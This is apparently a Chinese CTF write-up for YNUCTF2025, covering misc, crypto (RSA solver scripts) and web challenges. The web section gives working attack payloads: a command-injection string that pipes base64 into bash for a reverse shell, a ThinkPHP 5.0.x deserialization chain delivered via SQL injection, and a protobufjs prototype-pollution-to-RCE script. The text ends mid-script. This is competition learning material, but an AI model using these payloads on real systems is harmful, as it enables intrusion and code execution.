YNUCTF2025 wp
云南大学校赛,最终成绩如下

也是体验一次ak了web的感觉
misc(AK!)
随波逐流一把梭,misc基本都能秒
sign1

一把梭了
ynuctf{76b4011805f1a8e4b906c8f84083e}
sign2

简单的高度修改,一把梭了
ynuctf{hello_NO_10}
sign3
binwalk一下,有个zip
zip密码123456
sign4

flag{ez_traffic_analyze_isn't_it}
梭了
sign5
basee65536解码即可
sign6
第一层base64
第二层栅栏密码
第三层凯撒
ynuctf{welcome_to_crypto_no_no_it's_misc!}
sign7
exfi看到日期2024.8.18
认真观察看到航班号MU5156
然后去航班管家里面查路线,把途中的地址多试几次就出来了
ynuctf{MU5156_济宁市}
real_signin
之前写过原题
TPCTF{LIHHHHAWJ2123089hj091j2s++_+___+SO_FUN!!!}
keep patients
隐写了很多层
foremost分离

lbs隐写,得到压缩包
zsteg -E 'b1,r,lsb,xy' 1.png > c1.zip密码通过mp3setgo获取
8750d5109208213f得到内容
2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXjROT47解码
a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();看着像混淆过的js
运行得到
DASCTF{f8097257d699d7fdba7e97a15c4f94b4}crypto
全靠ai了属于是,一点密码也不会啊
科目一
rsa该给的全给了,一把梭
科目二
def long_to_bytes(n):
"""将长整数转换为字节字符串"""
if n == 0:
return b'\x00'
# 计算需要的字节数
byte_length = (n.bit_length() + 7) // 8
# 将整数转换为字节,大端序
byte_data = bytearray()
temp = n
while temp > 0:
byte_data.insert(0, temp & 0xFF)
temp >>= 8
return bytes(byte_data)
import gmpy2
n = 14800398328881299590819340504190580380456092059631690075005063133984540881936660258452775621223924666544144954334836222555637121913861461911511120598772742612257211866734223223551169379845956377316463148565472319496083497784140506423369878869325653192628559394438100890677759092281833985211109032193525146470474574038555501027831794382526298588084843624151270091755405172125755295019041607824556110833400237603510574340077488066619464463891145936844856029790556031249993366491347944857952783644884517487931959497277671000233728500580815998316871028625130306976346553172765025393568266481210362221045569800909331412733
c = 3226683255719031196217848694899679951486791739097829974521488957087083213961668895509559743441356033794647718015708053443544565749857917384859689397409032230013960380856389863512174152232545827021355026091788157830227404858132633755050279847337901334912864925648797224438856698330421196499553619596082492124166150997294968457955820549848688256744335135338361133281398238702530869245058134224833345813289889841131448598573914060539200838772794599083335075442300325391226963163497906943787479197157629086054275039547426187240897804712471769266518411206372631294491714326407919153747950197382718191269761217869751488836
hint = 12987568746001906055206984898391966154306293823413368197318033220007253559732613798213520758591764407361165035026252952738781655288063955880381155248487359665232418743102682447285019628343225449412293182820238493066124625638587962771742483758801870433502225777870867758951434219830364029862956004700576096898027481662036025990863195683120672477550100117533075245930357204209853376733831722053269897554835022487762532804990683291569769645549798668156761928886213422994798377126038329935663701335320780904961036593190804101309988816576211342610006023360140039454436765214533480304604665139102691280641900617785903432091
e = 0x10001
# 计算x = (514p -114q) mod n 的逆元
x = pow(hint, -1, n)
# 构造二次方程系数
a = 514
c_term = -114 * n
# 计算判别式D
D = x**2 + 4 * a * 114 * n
# 检查D是否为完全平方数
sqrt_D, is_square = gmpy2.iroot(D, 2)
if not is_square:
print("D is not a perfect square.")
exit()
sqrt_D = int(sqrt_D)
# 求解可能的p值
p_candidates = [(x + sqrt_D) // (2 * a), (x - sqrt_D) // (2 * a)]
# 寻找正确的p
p = None
for candidate in p_candidates:
if candidate > 0 and n % candidate == 0:
p = candidate
break
if p is None:
print("Failed to factor n.")
exit()
q = n // p
# 计算私钥d并解密
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print("Decrypted flag:", long_to_bytes(m).decode())科目三
def long_to_bytes(n):
if n == 0:
return b'\x00'
byte_length = (n.bit_length() + 7) // 8
byte_data = bytearray()
temp = n
while temp > 0:
byte_data.insert(0, temp & 0xFF)
temp >>= 8
return bytes(byte_data)
import gmpy2
n = 15287896232417035851086235981265563998134955866060843093748786671508129573251847003999527856485758549860126384580494917915364701306071685594229628031088977839684017081520654236776242785628925973189526817881248575355945542383048981710499445870387398064681544701703040156490422288944492930981478623470676630519491494797669361671152282036093156291654847860141996604232792856741241190404244899692174170044284422033020291741225488936077424056397787303310917268623482653264619553896143058121676352634144974317001785653348804555306941019526122795501201244128892757817782379609209323229336095939877133645371087495721982077851
c = 10335731049659882752941688907666096178702536553091840423438709859822077660889041289453755832287731894533967548970056153125024216390349672762582514080484148554114270763773638131333751848282102192013484408260305849882014438942680171042361801537976517203503505431780538954629956851215659657347073470449654560553579511717692309994438153543092852984867986200996617783236167876715696022117375897278585802566265123300369506539798286781856060562730888823890607123908218123879683297613504832412218988099143086207152856858851239217659478875527776774718491450180318117034184577362714951757204179400537035978839820598625386842155
hint1 = 954259052168542846445218523906612037976703570680262763318016110377543080168420506397488200667531627829686806420464936512964672243017152862772934628936916108747183934393996230520064638985403076196245683307546262134276340864473159876054035006623792703496168743368872334109205800306397889260667445974047474691667574619324342041921812231388131294
hint2 = 7319218157728483512391476802367240839412715153439389874719571101645409627201408126148200716667865521798554839099612725092526376152879439633568344077115785738795095400608538636155670360850049616144323401662060273892265948250582301711360660846303268531613470805002069945130941897665440928660306472119401551631430834863115449566482956009031349761084669714239605390947236948196226492949854572604036724772462353215365730260900863694563949325503975568464628687453477104
e = 0x10001
h1_prime = hint1 + 0x114
h2_prime = hint2 + 0x514
# 枚举可能的x1和x2,优先尝试常见值
for x1 in range(0, 2048):
for x2 in range(0, 2048):
if x1 == 0 and x2 == 0:
continue
D = x2 * h1_prime - x1 * h2_prime
g = gmpy2.gcd(D, n)
if g != 1 and g != n:
p = g
q = n // p
phi = (p-1) * (q-1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print("Decrypted flag:", long_to_bytes(m).decode())
exit()
print("No factors found. Try increasing the range.")科目四
def long_to_bytes(n):
byte_array = bytearray()
while n > 0:
byte_array.append(n % 256)
n = n // 256
return bytes(byte_array[::-1])
import gmpy2
c = 6571049256120979380478956075029414807834522817224308933941845420602424281666027318257440176282179258008674533223097045800178199277242900734878321766748394089339785153695025229322622953658315810
# 计算x的值
key_length = 41 # key{36位uuid} → 41字符
x = (2 * (gmpy2.powmod(256, key_length, 1<<1024) - 1)) // 255
# 生成素数p和模数n
p = gmpy2.next_prime(x)
n = p * p
# 计算私钥d
phi = p * (p - 1)
e = 65537
d = gmpy2.invert(e, phi)
# 解密
m = pow(c, d, n)
flag_bytes = long_to_bytes(m)
print("flag", flag_bytes.decode('utf-8'))sign1
n = 22704983441342148789158477928504200252949219550948566906790734116857581896147602873641731204245234489794553123971018486415513604830790333726233734999972446008361933367602634881722198692541849562885481151700582715982199448346232898715159722536857967993760062251151739817224614937545587492136925970734203042940959736935828777312454374268609959770517451831445322231737862176733824990754042939484572457599641178043983404812306352941111629671712818222046739328026817232851849907790058073229445025638251952601259007892950527809151012888476941620209777665936969350417279657180049199016961747961934829450405121018896026683057
e = 3
c = 27091082454125034709660465484186175481294547541915314357428478859775459918462993752000949426427351121381005723451455537027301071775833846318612013393929395332670588224596463878232882207935407881802031486452494491990307689920104930994688222105464546716718442197687350963630258262135529644577487776191919246614888483885478030439860492032522757697088199449807080875330693644177211961129758831318676484517444567023668238987052635277498277452417641451725711327258651748101500112041968643835679591426500841978386212815251521283368037
m_high = 30033696379897398978772526118026660467778905226735939980072689354761479122906588371890865088748183335297343600411096102175209674580047859143620533292633404045742635155577634816
P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
f = (m_high + x)^e - c
x = f.small_roots(X=2^64, beta=0.5)[0]
m = m_high + x
print("Flag:", bytes.fromhex(hex(int(m))[2:]).decode())Flag: ynuctf{you_will_get_high_score_fighting_for_the_last_one_i_will_wait_you}sign2
c = 1221991191181537480409280274601665703436452140103304537845613601178696380818070104367013417214736049755604143035487180738359289898220649954048656088595437207285439557305498232173015879786423288421449102163518842089724119856793640811296229737537420246940355390598891872205214803073572059769996643624345908446925180150015392213855838576280574429232759361661272308828918455571430474891558942292218205997271921456802441484120867681994391169344900411716709726179808258177460514845834766494746593823485625859020123297205069971090717613794677771667122121445363402552653272055500125897806219551396366979767933408044709752359
p_high = 92283816334791027537832980799840991188721580033186187030916296688371970354339160232191061774075579274055020758326031496089309793343324792687435117404979114975149614970117678398492298003334407661416092747448087069801349794590599073348176907840464037
n = 26071445595981395133268968075251944466498060763819227478695947509424921547060590393129061508017457456424978728239726133552097721600303144638009869734748681869056009308293142371152663228344020236515443813182209787660745959910062299761545996066189590736556796787377942053946456193809786130022858952981573029366618549463618113877861619738041802302141510592797078274982782868034373320344206299273253051629520980823750320265771084278721585606145566214491744680192697679277401296499227294030714763962644130749189453930479708165124571614561176572863416034011773618849345401444589259247760138603659126070309675809422023170493
e = 114
ph = p_high
PR.<x> = PolynomialRing(Zmod(n))
f = ph*(2^200) + x
x0 = f.monic().small_roots(X=2^200, beta=0.44, epsilon=0.03)
if x0:
x_val = x0[0]
p = int(ph*(2^200) + x_val)
if n % p == 0:
q = n // p
print("[+] p 恢复成功!")
print(f"p = {p}\nq = {q}")
# 计算φ(n)并处理e的因子
phi = (p-1)*(q-1)
g = gcd(e, phi)
e_prime = e // g
# 确保e'和φ(n)/g互质
if gcd(e_prime, phi//g) != 1:
print("无法直接解密")
else:
d_prime = inverse_mod(e_prime, phi//g)
m_candidate = pow(c, d_prime, n)
# 在模p和q下寻找g次根
Zp = Zmod(p)
Zq = Zmod(q)
m_p = Zp(m_candidate).nth_root(g, all=True)
m_q = Zq(m_candidate).nth_root(g, all=True)
# 使用中国剩余定理组合所有可能的解
solutions = []
for mp in m_p:
for mq in m_q:
m = crt(int(mp), int(mq), p, q)
solutions.append(m)
# 筛选符合条件的明文(flag格式)
for m in solutions:
flag_bytes = bytes.fromhex(hex(m)[2:])
if b'flag{' in flag_bytes:
print("\n[+] Flag 解密成功:")
print(flag_bytes.decode())
break
else:
print("未找到符合格式的flag。")
else:
print("错误:恢复的p不是n的因数。")
else:
print("未找到有效解")[+] p 恢复成功!
p = 148294375337784953961006816644772879111937895613024930260535417412414748448269600108911770957280643311137972682188515112723421841991258318554872296491878779103425816763932645053428239050518024919617854417726804221385895450878839755919561981889906508029235131670359323906076157852344713532647055392564414789969
q = 175808728662809036525888983677017424775807087476419568408284072484109706199100351104810334225329333492988436671420594297516672524735825002402320193077682291062883195053847663154728131665731526338788024203413165230309959222970443927928740718822655039075289973972271807990007354744397850897562639577869203111597
[+] Flag 解密成功:
flag{18187442003}web(AK!)
php_rce
无字母rce
照着打然后在环境变量里面找到了
黑魂3
写一个脚本一直提交即可
但是要先爬下来黑魂三的数据
数据类似这样
"镰刀剑
不死聚落的工作器具之一。
大幅弯曲的刀身用于切断遗体。
刀刃在刀身内侧,
是以拉扯切割方式使用,
因此盾牌难以抵御它的攻击。
战技:碎步
可以一口气移动到敌人的侧面或背后,
在锁定目标的状态下使用特别有效。"
(下一个物品)然后写脚本爆破即可 注意更新cookies
import requests
from bs4 import BeautifulSoup
import urllib.parse
base_url = "http://9998-772e074c-39ea-4d23-8ca9-c1763025e5a8.challenge.ctfplus.cn/"
txt_file = "1.txt"
with open(txt_file, "r", encoding="utf-8") as f:
content = f.read()
entries = content.strip().split("\n\n")
session = requests.Session()
session.cookies.update({"session": "eyJhbnN3ZXIiOiIiLCJkZXNjcmlwdGlvbiI6IiIsIm4iOjgyN30.Z--vjg.aNZLyRmt8JIhoPhcnRCkT5OWCpM"}) #
for i in range(100000000):
print(f"第 {i+1} 次尝试...")
response = session.get(base_url,cookies=session.cookies.get_dict())
prompt_text = response.text
print("完整响应:", prompt_text)
soup = BeautifulSoup(prompt_text, "html.parser")
first_p = soup.find("p")
if first_p:
p_text = first_p.get_text(separator=" ").strip()
first_line = p_text.split("。")[0].strip() + "。"
else:
first_line = prompt_text.split('\n')[0].strip()
#print("提取的第一行:", first_line)
if "Set-Cookie" in response.headers:
# print("收到新Cookie:", response.headers["Set-Cookie"])
session.cookies.update(response.cookies)
#print("当前Session Cookie:", session.cookies.get_dict())
answer = ""
for entry in entries:
lines = entry.split('\n')
if len(lines) < 2:
continue
description = '\n'.join(lines[1:])
if first_line in description:
answer = lines[0].strip()
#print("找到匹配,原始答案:", answer)
answer = answer.replace(" ", "").replace("──", "").replace("—", "").replace('"', "").replace("'", "").replace('"', "").replace("“", "").replace("”", "").replace("‘", "").replace("’", "").replace("《", "").replace("》", "").replace("【", "").replace("】", "").replace("[", "").replace("]", "")
#print("删除后的答案",answer)
answer = urllib.parse.quote(answer)
#print("处理并编码后的答案:", answer)
break
if answer == "unknown":
continue
submit_url = f"{base_url}?answer={answer}"
submit_response = session.get(submit_url,cookies=session.cookies.get_dict())
print("提交结果:", submit_response.text)
if "Set-Cookie" in submit_response.headers:
#print("提交后新Cookie:", submit_response.headers["Set-Cookie"])
session.cookies.update(submit_response.cookies)
print("当前Session Cookie:", session.cookies.get_dict())
if "ynuctf" in submit_response.text:
flag_start = submit_response.text.find("flag{")
flag_end = submit_response.text.find("}", flag_start) + 1
flag = submit_response.text[flag_start:flag_end]
print("找到Flag:", flag)
with open("flag.txt", "a", encoding="utf-8") as flag_file:
flag_file.write(flag + "\n")
print("Flag已保存到flag.txt")
print("-" * 50)neko
看源码,找到各种能用的函数

所有楼层

所有状态(血条,攻击力等)

找到一个控制状态的函数

最后总结一下,控制台输入
events.prototype.changeFloor("MT350")//设置为最高层
core.setStatus('hp',99999999999999999999999999)//血量
core.setStatus('atk',99999999999999999999999999)//攻击
core.setStatus('def',99999999999999999999999999)//防御
core.setStatus('money',99999999999999999999999999)//钱
core.setStatus('mdef',99999999999999999999999999)//速度?然后打完boss就行了
ez_rust
一:/路由用来查看当前的功德数量,大于十亿后即可得到flag。
二:/reset是用来清空功德。
三:/upgrade,POST路由,用来控制功德。

/upgrade这里,如果quantity太大会溢出为负数,最终减去一个负数,相当于增加
所以name=Cost&quantity=222222222
那么cost就是负数,减去负数相当于加,就能功德无量了
ez_python
黑盒,猜测直接命令拼接了,测试文件名为1.tar || sleep 5 ||能正常睡5秒
由于无法使用/,只能把要运行的命令编码为base64
1.tar || echo ${base64} |base64 -d | bash ||
直接反弹shell即可
phpshop
看登录逻辑,发现登录的时候竟然是从id这个键里面拿数据,而不是从username里面拿(这里卡了好久)

账号1密码123456登录进去
thinphp5.0.23有反序列化漏洞
更新数据的时候看似能直接写入data,实际上会被编码一次,不是原始数据
如果能写入shop.sql的data,那么就可以打反序列化


这里可以通过SQL注入来写入data原始数据
data=1&data`%3D'realdata'where`id`%3D1%23=testdata后端看到的是一个叫
data`%3D'realdata'where`id`%3D1%23的参数为test
但是sql看到的是
`data`='realdata'where`id`=1#=testdata那么就能完全控制sql语句,写入data了
ThinkPHP5.0.x 反序列化_thinkphp 5.0.x反序列化-CSDN博客
打反序列化即可
<?php
namespace think\process\pipes{
use think\model\Pivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$a = array(new Windows('system','cat /*'));
echo bin2hex(base64_encode(serialize($a)));
}
namespace think{
abstract class Model
{}
}
namespace think\model{
use think\Model;
use think\console\Output;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace think\model\relation{
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace think\db{
use think\console\Output;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
$this->model = new Output($function,$parameter);
}
}
}
namespace think\console{
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace think\session\driver{
use think\cache\driver\Memcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace think\cache\driver{
use think\Request;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
// pop链中需要prefix存在,否则报错
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get = [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}最终paylaod
id=1&name=test&price=100.00&on_sale_time=2023-12-19T11:11&image=test&data=1&data`%3D'YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoiY2F0IC8qIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoiY2F0IC8qIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0%3D'where`id`%3D1%23=testnotes/notes_revenge
protobufjs有原型链污染
protobufjs Prototype Pollution vulnerability · CVE-2023-36665 · GitHub Advisory Database
loading .proto files by using load/loadSync functions
Object.constructor.prototype.<new-property> = ...;先看看源码
/search限制本地路由
app.use('/search', restrictToLocalhost);/customise可以控制settings.proto来污染原型链(前文提到的打开proto文件来污染)
app.post('/customise',(req, res) => {
try {
const { data } = req.body;
let author = data.pop()['author'];
let title = data.pop()['title'];
let protoContents = fs.readFileSync('./settings.proto', 'utf-8').split('\n');
if (author) {
protoContents[5] = ` ${author} string author = 3 [default="user"];`;
}
if (title) {
protoContents[3] = ` ${title} string title = 1 [default="user"];`;
}
fs.writeFileSync('./settings.proto', protoContents.join('\n'), 'utf-8');
return res.json({ Message: 'Settings changed' });
} catch (error) {
console.error(error);
res.status(500).json({ Message: 'Internal server error' });
}
})/create创建notes
/view可以看notes,注意这里是直接打开一个json
app.get('/view/:noteId', (req, res) => {
const noteId = req.params.noteId;
try {
let note=require.resolve(`./notes/${noteId}`);
if(!note.endsWith(".json")){
return res.status(500).json({ Message: 'Internal Server Error' });
}
let noteData = require(`./notes/${noteId}`);
for (var key in module.constructor._pathCache) {
if (key.startsWith("./notes/"+noteId)){
if (!module.constructor._pathCache[key].endsWith(noteId+".json")){
if (noteId===healthCheckId){
cleanserver();
}
delete module.constructor._pathCache[key];
return res.status(500).json({ Message: 'Internal Server Error' });
}
}
}
if(req.query.temp !== undefined){
fs.unlink(`./notes/${noteId}.json`, (unlinkError) => {
if (unlinkError) {
console.error('File missing');
}
noteList=noteList.filter((value)=>value!=noteId);
});
}
return res.render('view', { noteData });
} catch (error) {
console.log(error)
return res.status(500).json({ Message: 'Internal Server Error' });
}
});如果我能想办法写入flag进json,就能看到回显
/healthcheck当我们访问路由,bot会被触发
注意到bot的一个组件puppeteer(用来启动浏览器),里面引用了child_process调用spawn
this.#browserProcess = childProcess.spawn(
this.#executablePath,
this.#args,
{
detached: opts.detached,
env,
stdio,
}
);child_process 子进程 | Node.js v23 文档
spawn会检查是否配置shell,使用shell来运行命令 如果设置成/proc/self/exe就会用node
不过此时传入argv0不会有任何作用,因为参数被固定,但是NODE_OPTIONS 允许我们将命令行参数传递给 node,通过使用NODE_OPTIONS来--require /proc/self/cmdline,可以做到执行自定义的argv
利用思路参考原型污染到远程代码执行 - HackTricks --- Prototype Pollution to RCE - HackTricks
(话说这hacktricks真好用,有时间多看看)
最后访问/healthcheck,触发rce
这里命令设置成把flag放进enoch.json来读取
import requests
base = "http://3000-5b3510fd-0434-4462-93f7-81d85a9445dd.challenge.ctfplus.cn"
url = lambda end: f"{base}{end}"
proto_overrides = """
option(a).constructor.prototype.author = "<h1>enoch</h1>";
option(a).constructor.prototype.shell = "/proc/self/exe";
option(a).constructor.prototype.argv0 = "console.log(require('child_process').execSync('rm /app/notes/Healthcheck.json && cp /app/notes/* /app/notes/enoch.json').toString())//";
option(a).constructor.prototype.NODE_OPTIONS = "--require /proc/self/cmdline";
""".strip().split("\n")
for proto_override in proto_overrides:
r = requests.post(url("/customise"), json=dict(data=[
{ "title": "optional" },
{ "author": f'''{proto_override}; optional'''.strip() }
]))
print(r)
r = requests.post(url("/create"), json={"enoch": "1"})
print(r)访问/healthcheck
然后访问/view/enoch

还有另一种利用思路,都能原型链污染了,直接污染,进search路由搜索flag也行啊
但是这个search有点反人类(反正是给bot用的),不能直接搜到,要盲注
这里贴上大佬的脚本(是的,其实这题是bi0sCTF 2024的题目https://siunam321.github.io/ctf/bi0sCTF-2024/Web-Exploitation/required-notes/,但是不想注了,最终用了rce的方式)
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
from re import search
class Solver:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.FLAG_FORMAT_REGEX_PATTERN = r'(bi0sctf{.*})'
self.CUSTOMISE_ROUTE = '/customise'
self.CREATE_NOTE_ROUTE = '/create'
self.SEARCH_NOTE_ID_ROUTE = '/search/'
self.VIEW_NOTE_ROUTE = '/view/'
self.PROTOBUF_SCHEMA_PAYLOAD = 'option(foobar).constructor.prototype._peername.address = \"127.0.0.1\";optional'
self.FLAG_NOTE_ID_LENGTH = 16
self.CHARACTER_SET = 'abcdefghijklmnopqrstuvwxyz0123456789'
self.INCORRECT_CHARACTER_STATUS_CODE = 200
self.CORRECT_CHARACTER_STATUS_CODE = 500
self.CORRECT_FINAL_CHARACTER_MESSAGE = 'Note found'
self.leakedFlagNoteId = str()
def injectPayloadToProtoBufSchema(self):
print('[*] Injecting the Prototype Pollution payload into the message type `Note`...')
dataObject = {'data':[{'title':self.PROTOBUF_SCHEMA_PAYLOAD},{'author':'optional'}]}
response = requests.post(f'{self.baseUrl}{self.CUSTOMISE_ROUTE}', json=dataObject)
isInjected = True if response.status_code == 200 else False
if not isInjected:
print('[-] The Prototype Pollution payload didn\'t get injected into the message type `Note`')
exit(0)
print('[+] The Prototype Pollution payload has been injected into the message type `Note`!')
def pollutePeernameAttributeAddress(self):
print('[*] Polluting `_peername`\'s attribute `address` into "127.0.0.1"...')
dataObject = {'title':'','content':''}
response = requests.post(f'{self.baseUrl}{self.CREATE_NOTE_ROUTE}', json=dataObject)
confirmPollutionResponseStatusCode = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}').status_code
isPolluted = True if confirmPollutionResponseStatusCode == 404 else False
if not isPolluted:
print('[-] `_peername`\'s attribute `address` didn\'t get polluted')
exit(0)
print('[+] `_peername`\'s attribute `address` has been polluted!')
def bruteForceNoteIdViaErrorBasedOracle(self):
print('[*] Brute forcing the flag\'s note ID...')
leakedFlagNoteId = str()
while len(leakedFlagNoteId) < self.FLAG_NOTE_ID_LENGTH:
for character in self.CHARACTER_SET:
print(f'[*] Brute forcing character "{character}" | Current leaked flag note ID: {leakedFlagNoteId}', end='\r')
fullLeakedNoteId = leakedFlagNoteId + character
response = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}{fullLeakedNoteId}')
isCorrectCharacter = True if response.status_code == self.CORRECT_CHARACTER_STATUS_CODE else False
isIncorrectCharacter = True if response.status_code == self.INCORRECT_CHARACTER_STATUS_CODE else False
if isIncorrectCharacter:
isCorrectFinalCharacter = True if response.json()['Message'] == self.CORRECT_FINAL_CHARACTER_MESSAGE else False
if isCorrectFinalCharacter:
leakedFlagNoteId += character
break
if not isCorrectCharacter:
continue
leakedFlagNoteId += character
break
if len(leakedFlagNoteId) != self.FLAG_NOTE_ID_LENGTH:
print('\n[-] Couldn\'t brute force the flag\'s note ID')
exit(0)
self.leakedFlagNoteId = leakedFlagNoteId
print(f'\n[+] The flag\'s note ID has been brute forced! Note ID: {self.leakedFlagNoteId}')
def viewFlagNote(self):
